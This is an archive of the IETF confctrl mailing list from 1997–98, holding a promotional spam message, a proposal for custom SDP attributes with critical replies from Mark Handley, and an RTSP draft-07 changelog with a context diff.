Received: from login_0246.artists.net (mx.artists.net[206.212.231.88]) by producers.net (8.8.5/8.7.3) with SMTP id XAA03119 for <confctrl@isi.edu>;  Tue, 30 December 1997 03:14:02 -0700 (EDT)
To: <confctrl@ISI.EDU>
Subject: Season's Greetings from HOLLYWOOD...................................
Reply-To: CAPIMAIL@aol.com
X-PMFLAGS: 10322341.10
X-UIDL: 10293287_192832.222
Comments: Authenticated Sender is <user122@awards.net>
Message-Id: <68285113_41540344>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



                       Let Your
                   Creative Efforts
                       for '97
                    Compound into
                  Prosperity for '98


         An Award Winning Team of Hollywood
               Producers and Directors
              is pleased to Invite the
             Submission of Your Entries
                         in
          Computer Animation, Photography
                         and
                    Illustration
                       for the
                World (WWW) Premiere
                       of the
       1997 Annual International "CAPI" Awards



        Be included in the "CAPI" Awards First
            CD-ROM "Library of Excellence"
                  Distributed to Top
     Motion Picture Studios...Television Networks...
              and Advertising Agencies
         in Hollywood and around the World!




PARTICIPATE in the World Wide Web's first competition organized
by Top Hollywood Producers dedicated to discovering and honoring
the very best new talent in the world...directly throughout the 
Internet!


ENTRIES ARE JUDGED by an International Award-Winning Team of 
Industry Professionals currently participating in some of 
Hollywood's most prestigious Entertainment and Communications
Productions! 


AWARDS ARE PRESENTED for the excellence and merit of each 
individual entry.  ENTRANTS DO NOT COMPETE AGAINST EACH OTHER!  
There are equal opportunities for multiple GOLD, SILVER, and 
BRONZE "CAPI" Awards to be presented in all categories, to 
numerous qualifying entrants! 


RECEIVE INTERNATIONAL RECOGNITION and publicity that can assist 
you in creating new marketing and promotional opportunities for 
your career...potentially having your work Licensed by Leading 
Producers in the Hollywood & International Entertainment and 
Communications Industries! 


 For more information visit us at: http://www.capiawards.com/ 

              Copyright 1997 "CAPI" Awards
             "CAPI" AWARDS, PUBLIC RELATIONS
       11247 Acama Ave., Studio City, CA, USA 91602




Our research indicates the preceeding information is of 
                  interest to you. 
  If you prefer not to be on this private mailing list, 
   please let us know and you will be promptly removed.


Email:<A HREF="mailto:CAPIMAIL@AOL.COM> with Subject: REMOVE





From confctrl-owner  Wed Jan  7 16:30:29 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA14969
	for confctrl-outgoing; Wed, 7 Jan 1998 16:30:29 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA14963
	for <confctrl@zephyr.isi.edu>; Wed, 7 Jan 1998 16:30:27 -0800 (PST)
Received: from mh2.cts.com (root@mh2.cts.com [205.163.24.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA02164
	for <confctrl@isi.edu>; Wed, 7 Jan 1998 16:30:26 -0800 (PST)
Received: from king.cts.com (root@king.cts.com [198.68.168.21]) by mh2.cts.com (8.8.7/8.8.5) with ESMTP id QAA05537; Wed, 7 Jan 1998 16:30:25 -0800 (PST)
Received: from crash.cts.com (root@crash.cts.com [192.188.72.17])
	by king.cts.com (8.8.7/8.8.7) with SMTP id QAA02791;
	Wed, 7 Jan 1998 16:30:24 -0800 (PST)
Received: from miked.cts.com by crash.cts.com with smtp
	(Smail3.1.29.1 #5) id m0xq5VT-00002qC; Wed, 7 Jan 98 16:07 PST
Message-Id: <3.0.5.32.19980107160008.0091ce10@cts.com>
X-Sender: miked@cts.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Wed, 07 Jan 1998 16:00:08 -0800
To: confctrl@ISI.EDU
From: "Michael A. Dolan" <miked@tbt.com>
Subject: feedback on some attributes requested
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks-

I'm new to this list, so first my appologies if these or similar topics
have been discussed/dismissed in the past and/or these extensions seem
otherwise inane or out of context.

What I am looking for is some feedback on whether these make any sense,
follow accepted practice, etc. before we cast them in stone here in an
implementation.  

These will be used in a one-way network with no backchannel communication
at all.  The multicast streams they point to can contain streaming data of
various formats, including a related collection of discrete objects, such
as files.

First, we felt we needed some extensions to the UDP stream types of the m=
tag.  This, as opposed to using the a=fmtp, since we only needed a single
token identifier.  As best as I could tell, this seemed OK, so for:

m=data <port> UDP <fmt list>

where <fmt list> is one of:

	BFDP (a proprietary file transfer protocol)
	STREAM (generally unknown content usable by a local program more
			fully specified with a=run below)
	WEBCAST (a special case of BFDP)

There are others, but you get the idea.

Now for the a= fields...

a=mandatory
	Signifies that this is a "mandatory", and require special attention and
handling from the local client.

a=key:<number>
	Number is a 32-bit unsigned decimal number which identifies the object
within a stream nominally pointed to by the multicast group and dest port.

a=run:<prog>
	prog = well known program on the client that will be run.  Note that this
program is run as follows:  When the media type is a STREAM and the record
is mandatory, then the program will be run immediately on receipt of a new
SDP record version; and will be run any time the system is tuned to a
tranponder which contains this service.  For BFDP media types, the program
will be run on receipt of a final valid file.  For WEBCAST, the run tag is
not permitted and is ignored.   Additionally, the PATH is searched for
"prog" as follows:

	<installpath>\Download\
	<installpath>\Bin\
	$PATH according to the OS search rules, but only for relative pathnames
	any absolute pathname (if supplied)

Each level of search is controlled by a security level parameter settable
locally by the user.

a=cat:<category>[.<subcategory1>.<subcategory2>...]
	This is the same as the field defined in the draft spec, but we permit
multiple fields per record (ie a=cat:Sports and a=cat:News, which are
heirarchically related).  This may be the same as proposed, but it wasn't
clear.

a=rescind
	Used to rescind (delete) the session with the same session ID.  This is
needed since the SDP records are cached and obtained from multiple sources
(with priority).  So, the omission of an SDP record in one stream is not
adequate to eliminate it.

a=fsz:<nbytes>
	nbytes is the number of bytes in the (file) object that this record
describes.

a=notify
	Causes the information in this particular SDP record to be immediately
presented to the user upon receipt in some special manner.

a=channel:<number>
	where number is a client-dependent channel number associated with this
stream.

a=archived
	Indicates that this item is in a client-dependent archive format.
Unarchiving after receipt will occur automatically.

a=display:type=<t>,priority=<p>

	where t is display type indicator used by the client; and
	p is a display priority
	these are used by the client to control display positioning and visibility

Comments very welcome, and thanks in advance.

Regards,
	Mike

---------------------------------------------------------------------------
Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-8864
PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
URL:http://www.tbt.com

From confctrl-owner  Wed Jan  7 20:19:12 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA22239
	for confctrl-outgoing; Wed, 7 Jan 1998 20:19:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA22234
	for <confctrl@zephyr.isi.edu>; Wed, 7 Jan 1998 20:19:10 -0800 (PST)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA10244
	for <confctrl@isi.edu>; Wed, 7 Jan 1998 20:19:09 -0800 (PST)
Received: from robla (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA06161
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 7 Jan 1998 20:19:10 -0800
Message-Id: <3.0.3.32.19980107201858.019ba210@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 07 Jan 1998 20:18:58 -0800
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: RTSP Tweaks
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

During the last call on RTSP, there were a few nits with the draft that
were pointed out.  We just submitted draft-07 of RTSP, which will be
available shortly.  To let you know what the changes are, I've included
both a small list of the changes here, and a context diff of the text just
before it gets run through our little paginator (sorry of the extra junk).

      * Added "Persistently suspicious behavior" to Security
        Considerations (Section 16)
      * Fixed examples in the explanation of NPT (Section 3.6)
      * Session identifiers MUST be chosen at random and must be at least
        8 octets long (Section 3.4). (Formerly, this was only SHOULD).
      * Made XXXX reference to SDP more clearly belong to SDP in Appendix
        C (still needs to be fixed when SDP gets an RFC number)

It is hoped that none of these changes are particularly controversial.
Though the IESG last call is over, please let us know if any of these
changes present a problem.

Rob

Context diff below is in the format:

*** n,n ****
    stuff
!   old stuff
    stuff
--- n,n ----
    stuff
!   new stuff
    stuff
***************

------
*** rtspmod.txt.old     Wed Jan  7 16:28:32 1998
--- rtspmod.txt Wed Jan  7 17:00:07 1998
***************
*** 1,7 ****
  Internet Engineering Task Force                                   MMUSIC WG
  Internet Draft                          H. Schulzrinne, A. Rao, R. Lanphier
! draft-ietf-mmusic-rtsp-06.txt             Columbia U./Netscape/RealNetworks
! November 21, 1997                                     Expires: May 21, 1998
  
                    Real Time Streaming Protocol (RTSP)
  
--- 1,7 ----
  Internet Engineering Task Force                                   MMUSIC WG
  Internet Draft                          H. Schulzrinne, A. Rao, R. Lanphier
! draft-ietf-mmusic-rtsp-07.txt             Columbia U./Netscape/RealNetworks
! January 7, 1998                                       Expires: July 7, 1998
  
                    Real Time Streaming Protocol (RTSP)
  
***************
*** 758,765 ****
  3.4 Session Identifiers
  
       Session identifiers are opaque strings of arbitrary length. Linear
!    white space must be URL-escaped. A session identifier SHOULD be chosen
!    randomly and SHOULD be at least eight octets long to make guessing it
     more difficult. (See Section 16.)
  
       session-id   =   1*( ALPHA | DIGIT | safe )
--- 758,765 ----
  3.4 Session Identifiers
  
       Session identifiers are opaque strings of arbitrary length. Linear
!    white space must be URL-escaped. A session identifier MUST be chosen
!    randomly and MUST be at least eight octets long to make guessing it
     more difficult. (See Section 16.)
  
       session-id   =   1*( ALPHA | DIGIT | safe )
***************
*** 823,830 ****
  
     Examples:
       npt=123.45-125
!      npt=12:05:35.3
!      npt=now
  
       The syntax conforms to ISO 8601. The npt-sec notation is optimized
       for automatic generation, the ntp-hhmmss notation for consumption
--- 823,830 ----
  
     Examples:
       npt=123.45-125
!      npt=12:05:35.3-
!      npt=now-
  
       The syntax conforms to ISO 8601. The npt-sec notation is optimized
       for automatic generation, the ntp-hhmmss notation for consumption
***************
*** 3441,3447 ****
     Authentication:
            Servers SHOULD implement both basic and digest [6]
            authentication. In environments requiring tighter security for
!           the control messages, transport layer mechanims such as TLS
            (RFC XXXX) SHOULD be used.
  
     Stream issues:
--- 3441,3447 ----
     Authentication:
            Servers SHOULD implement both basic and digest [6]
            authentication. In environments requiring tighter security for
!           the control messages, transport layer mechanisms such as TLS
            (RFC XXXX) SHOULD be used.
  
     Stream issues:
***************
*** 3452,3463 ****
            considerations brought up in these specifications (even when
            non-standard equivalents are used in place of said protocols).
  
! A RTSP Protocol State Machines
  
       The RTSP client and server state machines describe the behavior of
     the protocol from RTSP session initialization through RTSP session
     termination.
! 
     State is defined on a per object basis. An object is uniquely
     identified by the stream URL and the RTSP session identifier. Any
     request/reply using aggregate URLs denoting RTSP presentations
--- 3452,3471 ----
            considerations brought up in these specifications (even when
            non-standard equivalents are used in place of said protocols).
  
!    Persistantly suspicious behavior:
!           RTSP servers SHOULD return error code 403 (Forbidden) upon
!           receiving a single instance of behavior which is deemed a
!           security risk. RTSP servers SHOULD also be aware of attempts to
!           probe the server for weaknesses and entry points and MAY
!           arbitrarily disconnect and ignore further requests clients
!           which are deemed to be in violation of local security policy.
  
+ Appendix A: RTSP Protocol State Machines
+ ##REMOVEME
       The RTSP client and server state machines describe the behavior of
     the protocol from RTSP session initialization through RTSP session
     termination.
! ##REMOVEME
     State is defined on a per object basis. An object is uniquely
     identified by the stream URL and the RTSP session identifier. Any
     request/reply using aggregate URLs denoting RTSP presentations
***************
*** 3465,3480 ****
     states of all the streams. For example, if the presentation /movie
     contains two streams, /movie/audio and /movie/video, then the
     following command:
! 
       PLAY rtsp://foo.com/movie RTSP/1.0
       CSeq: 559
       Session: 12345
! 
     will have an effect on the states of movie/audio and movie/video.
! 
       This example does not imply a standard way to represent streams in
       URLs or a relation to the filesystem. See Section 3.2.
! 
     The requests OPTIONS, ANNOUNCE, DESCRIBE, GET_PARAMETER, SET_PARAMETER
     do not have any effect on client or server state and are therefore not
     listed in the state tables.
--- 3473,3488 ----
     states of all the streams. For example, if the presentation /movie
     contains two streams, /movie/audio and /movie/video, then the
     following command:
! ##REMOVEME
       PLAY rtsp://foo.com/movie RTSP/1.0
       CSeq: 559
       Session: 12345
! ##REMOVEME
     will have an effect on the states of movie/audio and movie/video.
! ##REMOVEME
       This example does not imply a standard way to represent streams in
       URLs or a relation to the filesystem. See Section 3.2.
! ##REMOVEME
     The requests OPTIONS, ANNOUNCE, DESCRIBE, GET_PARAMETER, SET_PARAMETER
     do not have any effect on client or server state and are therefore not
     listed in the state tables.
***************
*** 3590,3596 ****
                     TEARDOWN          Init
                     SETUP             Recording
      
! B Interaction with RTP
  ##REMOVEME
       RTSP allows media clients to control selected, non-contiguous
     sections of media presentations, rendering those streams with an RTP
--- 3598,3604 ----
                     TEARDOWN          Init
                     SETUP             Recording
      
! Appendix B: Interaction with RTP
  ##REMOVEME
       RTSP allows media clients to control selected, non-contiguous
     sections of media presentations, rendering those streams with an RTP
***************
*** 3636,3642 ****
     sequence parameter of the RTP-Info (Section 12.33) header provides the
     first sequence number of the next segment.
  
! C Use of SDP for RTSP Session Descriptions
  
       The Session Description Protocol (SDP, RFC XXXX) may be used to
     describe streams or presentations in RTSP. Such usage is limited to
--- 3644,3650 ----
     sequence parameter of the RTP-Info (Section 12.33) header provides the
     first sequence number of the next segment.
  
! Appendix C: Use of SDP for RTSP Session Descriptions
  
       The Session Description Protocol (SDP, RFC XXXX) may be used to
     describe streams or presentations in RTSP. Such usage is limited to
***************
*** 3712,3718 ****
     media attribute ``rtpmap'' is used to specify what the media is. The
     ``encoding name'' within the ``rtpmap'' attribute may be one of those
     specified in RFC 1890 (Sections 5 and 6), or an experimental encoding
!    with a ``X-'' prefix as specified in RFC XXXX. Codec-specific
     parameters are not specified in this field, but rather in the ``fmtp''
     attribute described below. Implementors seeking to register new
     encodings should follow the procedure in RFC 1890. If the media type
--- 3720,3726 ----
     media attribute ``rtpmap'' is used to specify what the media is. The
     ``encoding name'' within the ``rtpmap'' attribute may be one of those
     specified in RFC 1890 (Sections 5 and 6), or an experimental encoding
!    with a ``X-'' prefix as specified in RFC XXXX (SDP). Codec-specific
     parameters are not specified in this field, but rather in the ``fmtp''
     attribute described below. Implementors seeking to register new
     encodings should follow the procedure in RFC 1890. If the media type
***************
*** 3842,3850 ****
     streams, respectively. The URL rtsp://example.com/movie/ controls the
     whole movie.
  
! D Minimal RTSP implementation
! 
! 
  
  D.1 Client
  
--- 3850,3856 ----
     streams, respectively. The URL rtsp://example.com/movie/ controls the
     whole movie.
  
! Appendix D: Minimal RTSP implementation
  
  D.1 Client
  
***************
*** 3979,3985 ****
       * Parse and include the WWW-Authenticate header
       * Implement Basic Authentication and Digest Authentication
  
! E Changes
  
     Since draft 05 (October 28, 1997 version) of RTSP, the following
     changes were made:
--- 3985,4002 ----
       * Parse and include the WWW-Authenticate header
       * Implement Basic Authentication and Digest Authentication
  
! Appendix E: Changes
! 
!    Since draft 06 (November 21, 1997 version) of RTSP, the following
!    changes were made:
! 
!      * Added "Persistantly suspicious behavior" to Security
!        Considerations (Section 16)
!      * Fixed examples in the explanation of NPT (Section 3.6)
!      * Session identifiers MUST be chosen at random and must be at least
!        8 octets long (Section 3.4). (Formerly, this was only SHOULD).
!      * Made XXXX reference to SDP more clearly belong to SDP in Appendix
!        C (still needs to be fixed when SDP gets an RFC number)
  
     Since draft 05 (October 28, 1997 version) of RTSP, the following
     changes were made:
***************
*** 4022,4028 ****
  
     Since draft 03 (July 30, 1997 version) of RTSP, the following changes
     were made:
! 
       * PEP was removed, Require header returns. Motivation: We explored
         using the W3C's PEP proposal for this functionality. However,
         Require, Proxy-Require, and Unsupported allow the addition of
--- 4039,4045 ----
  
     Since draft 03 (July 30, 1997 version) of RTSP, the following changes
     were made:
! ##REMOVEME
       * PEP was removed, Require header returns. Motivation: We explored
         using the W3C's PEP proposal for this functionality. However,
         Require, Proxy-Require, and Unsupported allow the addition of
***************
*** 4043,4049 ****
  
     Between draft 02 (March, 1997) and draft 03 (July, 1997), the
     following changes were made:
! 
       * Definition of RTP behavior.
       * Definition of behavior for container files.
       * Remove server-to-client DESCRIBE request.
--- 4060,4066 ----
  
     Between draft 02 (March, 1997) and draft 03 (July, 1997), the
     following changes were made:
! ##REMOVEME
       * Definition of RTP behavior.
       * Definition of behavior for container files.
       * Remove server-to-client DESCRIBE request.
***************
*** 4066,4071 ****
--- 4083,4089 ----
         some methods may be allowed only on a particular type of URL.
       * Example showing the use of aggregate/presentation control using a
         single RTSP session has been added.
+ 
       * Support for the PEP (Protocol Extension Protocol) headers has been
         added.
       * Server-Client DESCRIBE messages have been renamed to ANNOUNCE for
***************
*** 4074,4080 ****
     Note that this list does not reflect minor changes in wording or
     correction of typographical errors.
  
! F Author Addresses
  
     Henning Schulzrinne
     Dept. of Computer Science
--- 4092,4098 ----
     Note that this list does not reflect minor changes in wording or
     correction of typographical errors.
  
! Appendix F: Author Addresses
  
     Henning Schulzrinne
     Dept. of Computer Science
***************
*** 4098,4104 ****
     USA
     electronic mail: robla@prognet.com
  
! G Acknowledgements
  
     This draft is based on the functionality of the original RTSP draft
     submitted in October 96. It also borrows format and descriptions from
--- 4116,4122 ----
     USA
     electronic mail: robla@prognet.com
  
! Appendix G: Acknowledgements
  
     This draft is based on the functionality of the original RTSP draft
     submitted in October 96. It also borrows format and descriptions from


From confctrl-owner  Thu Jan  8 08:34:44 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA04063
	for confctrl-outgoing; Thu, 8 Jan 1998 08:34:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA04049
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jan 1998 08:34:42 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA00517
	for <confctrl@ISI.EDU>; Thu, 8 Jan 1998 08:34:40 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA23267; Thu, 8 Jan 1998 11:34:36 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: "Michael A. Dolan" <miked@tbt.com>
cc: confctrl@ISI.EDU
Subject: Re: feedback on some attributes requested 
In-reply-to: Your message of "Wed, 07 Jan 1998 16:00:08 PST."
             <3.0.5.32.19980107160008.0091ce10@cts.com> 
Date: Thu, 08 Jan 1998 11:34:36 -0500
Message-ID: <23265.884277276@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>First, we felt we needed some extensions to the UDP stream types of the m=
>tag.  This, as opposed to using the a=fmtp, since we only needed a single
>token identifier.  As best as I could tell, this seemed OK, so for:
>
>m=data <port> UDP <fmt list>
>
>where <fmt list> is one of:
>
>	BFDP (a proprietary file transfer protocol)
>	STREAM (generally unknown content usable by a local program more
>			fully specified with a=run below)
>	WEBCAST (a special case of BFDP)
>
>There are others, but you get the idea.

BFDP and WEBCAST would be OK with me.  STREAM I would like to avoid.
In general you'd like the receiver of a session description to be able
to make a decision as to whether it can support a medium and which
tool to use to support it by looking at as few fields as possible.
STREAM doesn't tell you anything, and so forces you into looking at
attributes to discover anything at all about the stream being
described.

>Now for the a= fields...

You need to specify whether these are session level, media level or
both.

>a=mandatory
>	Signifies that this is a "mandatory", and require special attention and
>handling from the local client.

I'm not sure what you mean by this.

>a=key:<number>
>	Number is a 32-bit unsigned decimal number which identifies the object
>within a stream nominally pointed to by the multicast group and dest port.

Again, this doesn't make sense without more context.

>a=run:<prog>
>	prog = well known program on the client that will be run.  Note that th
>is
>program is run as follows:  When the media type is a STREAM and the record
>is mandatory, then the program will be run immediately on receipt of a new
>SDP record version; and will be run any time the system is tuned to a
>tranponder which contains this service.  For BFDP media types, the program
>will be run on receipt of a final valid file.  For WEBCAST, the run tag is
>not permitted and is ignored.   Additionally, the PATH is searched for
>"prog" as follows:
>
>	<installpath>\Download\
>	<installpath>\Bin\
>	$PATH according to the OS search rules, but only for relative pathnames
>	any absolute pathname (if supplied)
>
>Each level of search is controlled by a security level parameter settable
>locally by the user.

This is a bad idea.  You want to describe media streams and not pieces
of software, and you especially want to avoid client OS dependencies.

In addition, if the session description is in a session announcement,
the security requirements of SDP dictate that to DO NOT run any
program without explicit permission of the user.  

>a=cat:<category>[.<subcategory1>.<subcategory2>...]
>	This is the same as the field defined in the draft spec, but we permit
>multiple fields per record (ie a=cat:Sports and a=cat:News, which are
>heirarchically related).  This may be the same as proposed, but it wasn't
>clear.

The spec does allow multiple cat attributes.

>a=rescind
>	Used to rescind (delete) the session with the same session ID.  This is
>needed since the SDP records are cached and obtained from multiple sources
>(with priority).  So, the omission of an SDP record in one stream is not
>adequate to eliminate it.

This is not in the spirit of SDP.  The transport mechanism (eg SIP,
SAP, RTSP) is responsible for deletion not the description itself.

>a=fsz:<nbytes>
>	nbytes is the number of bytes in the (file) object that this record
>describes.

In general, SDP describes streams not files, but a stream could be
fixed length, so this would be OK so long as you made it clear.

>a=notify
>	Causes the information in this particular SDP record to be immediately
>presented to the user upon receipt in some special manner.

This is not in the spirit of SDP.  The transport mechanism (eg SIP,
RTSP) is responsible for this if the functionality is provided at all.
Imagine I sent many SAP announcements containing this to the global
group - everyone in the world would be getting all these windows
popping up!

>a=channel:<number>
>	where number is a client-dependent channel number associated with this
>stream.

Probably OK, but your description is unclear.

>a=archived
>	Indicates that this item is in a client-dependent archive format.
>Unarchiving after receipt will occur automatically.

I don't understand this one.

>a=display:type=<t>,priority=<p>
>
>	where t is display type indicator used by the client; and
>	p is a display priority
>	these are used by the client to control display positioning and visibil
>ity

I don't think I like this, but it's hard to tell from your description.

Hope these help, although they're probably not what you want to hear.

Cheers,
	Mark

From confctrl-owner  Thu Jan  8 09:54:11 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA07821
	for confctrl-outgoing; Thu, 8 Jan 1998 09:54:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA07816
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jan 1998 09:54:10 -0800 (PST)
Received: from mh2.cts.com (root@mh2.cts.com [205.163.24.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA06070
	for <confctrl@ISI.EDU>; Thu, 8 Jan 1998 09:54:09 -0800 (PST)
Received: from king.cts.com (root@king.cts.com [198.68.168.21]) by mh2.cts.com (8.8.7/8.8.5) with ESMTP id JAA20876; Thu, 8 Jan 1998 09:54:06 -0800 (PST)
Received: from crash.cts.com (root@crash.cts.com [192.188.72.17])
	by king.cts.com (8.8.7/8.8.7) with SMTP id JAA09080;
	Thu, 8 Jan 1998 09:54:04 -0800 (PST)
Received: from miked.cts.com by crash.cts.com with smtp
	(Smail3.1.29.1 #5) id m0xqM9W-000043C; Thu, 8 Jan 98 09:53 PST
Message-Id: <3.0.5.32.19980108094642.00834410@cts.com>
X-Sender: miked@cts.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Thu, 08 Jan 1998 09:46:42 -0800
To: Mark Handley <mjh@ISI.EDU>
From: "Michael A. Dolan" <miked@tbt.com>
Subject: Re: feedback on some attributes requested [more info]
Cc: confctrl@ISI.EDU
In-Reply-To: <23265.884277276@north.lcs.mit.edu>
References: <Your message of "Wed, 07 Jan 1998 16:00:08 PST."             <3.0.5.32.19980107160008.0091ce10@cts.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark-

Thanks very much for your comments.  Sorry some of the attributes were
vague.  First here, I will try and expand on the ones that were not clear.
I'll reply to your other comments under separate cover...

At 11:34 AM 1/8/98 -0500, Mark Handley wrote:
>
>>a=mandatory
>>	Signifies that this is a "mandatory", and require special attention and
>>handling from the local client.
>
>I'm not sure what you mean by this.

The idea is that if this tag is present, the client will take some
extraordinary measure to ensure that the stream described by this record is
received and processed.  This may, for example, be a stream/object that
contains a more robust description of the announced streams.  It is
envisioned that the client would cause this to be processed without human
intervention.

>>a=key:<number>
>>	Number is a 32-bit unsigned decimal number which identifies the object
>>within a stream nominally pointed to by the multicast group and dest port.
>
>Again, this doesn't make sense without more context.

In a stream that contains multiple objects, this key identifies which
object this record describes.  For example, for a file object, the header
of the file transfer protocol would contain this identifier.  It is
generically a sub-stream object identifier.

>>a=channel:<number>
>>	where number is a client-dependent channel number associated with this
>>stream.
>
>Probably OK, but your description is unclear.

This is generic and of an informative nature similar to a=cat.  This is
literally a channel (ie 100) that this record describes, which may have
meaning only to the program that processes the stream, or to the user
interpreting this record.  In a simple example, if a stream were a
broadcast of channel 4 in Los Angeles, then this would be set to 4.

>>a=archived
>>	Indicates that this item is in a client-dependent archive format.
>>Unarchiving after receipt will occur automatically.
>
>I don't understand this one.

This is a somewhat incomplete thought and hence will require more
definition when we get around to actually doing it.  But the general idea
is that the object within the stream that this record describes is in fact
a collection of objects, and not just a single object.  For example, it
could be a tar file.  This would be used in conjunction with the a=key.

>>a=display:type=<t>,priority=<p>
>>
>>	where t is display type indicator used by the client; and
>>	p is a display priority
>>	these are used by the client to control display positioning and visibil
>>ity
>
>I don't think I like this, but it's hard to tell from your description.

As you have probably intuited from the above explanations, our client that
is processing these records is fairly sophisticated.  It is automatically
generating a rich display to the user based on the SDP records, as well as
other information contained in special (mandatory) streams.  As such, we
wish to have commands to control the display of the information to the
user, giving some SDP records display preference in some manner over
others.  Also, we wish to provide a means of grouping the information,
independent of category.  The "type" is for the grouping.  The "priority"
is the priority of display WRT other SDP records.  The exact interpretation
of these is somewhat client-dependent.

>Hope these help, although they're probably not what you want to hear.

I LIKE the feedback.  Hope these explanations help.

Thanks,
	Mike

---------------------------------------------------------------------------
Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-8864
PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
URL:http://www.tbt.com

From confctrl-owner  Thu Jan  8 10:12:53 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA08749
	for confctrl-outgoing; Thu, 8 Jan 1998 10:12:53 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA08744
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jan 1998 10:12:51 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA08001
	for <confctrl@ISI.EDU>; Thu, 8 Jan 1998 10:12:49 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id NAA23789; Thu, 8 Jan 1998 13:12:44 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: "Michael A. Dolan" <miked@tbt.com>
cc: confctrl@ISI.EDU
Subject: Re: feedback on some attributes requested [more info] 
In-reply-to: Your message of "Thu, 08 Jan 1998 09:46:42 PST."
             <3.0.5.32.19980108094642.00834410@cts.com> 
Date: Thu, 08 Jan 1998 13:12:44 -0500
Message-ID: <23787.884283164@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>>>a=key:<number>
>>>	Number is a 32-bit unsigned decimal number which identifies the object
>>>within a stream nominally pointed to by the multicast group and dest port.
>>
>>Again, this doesn't make sense without more context.
>
>In a stream that contains multiple objects, this key identifies which
>object this record describes.  For example, for a file object, the header
>of the file transfer protocol would contain this identifier.  It is
>generically a sub-stream object identifier.

The media-level description describes a stream.  I'm not clear how it
can describe anything smaller than a stream, hence this field still
doesn't make sense to me.

>>>a=channel:<number>
>>>	where number is a client-dependent channel number associated with this
>>>stream.
>>
>>Probably OK, but your description is unclear.
>
>This is generic and of an informative nature similar to a=cat.  This is
>literally a channel (ie 100) that this record describes, which may have
>meaning only to the program that processes the stream, or to the user
>interpreting this record.  In a simple example, if a stream were a
>broadcast of channel 4 in Los Angeles, then this would be set to 4.

You would then have to state that you couldn't use this in a global
session announcement unless the value had global meaning.

For example, I can't put this in a global (or even National in the US)
session announcement, and I can't use it in SIP or RTSP unless I share
prior common knowledge with the invitee/server/client that defines the
meaning of the value.

I suspect this applies to a lot of your attributes, so I can't see
how they're used.

>>>a=archived
>>>	Indicates that this item is in a client-dependent archive format.
>>>Unarchiving after receipt will occur automatically.
>>
>>I don't understand this one.
>
>This is a somewhat incomplete thought and hence will require more
>definition when we get around to actually doing it.  But the general idea
>is that the object within the stream that this record describes is in fact
>a collection of objects, and not just a single object.  For example, it
>could be a tar file.  This would be used in conjunction with the a=key.

By itself, I don't think this tells me anything, and I still don't
really understand how key is used.

>>>a=display:type=<t>,priority=<p>
>>>
>>>	where t is display type indicator used by the client; and
>>>	p is a display priority
>>>	these are used by the client to control display positioning and visibil
>>>ity
>>
>>I don't think I like this, but it's hard to tell from your description.
>
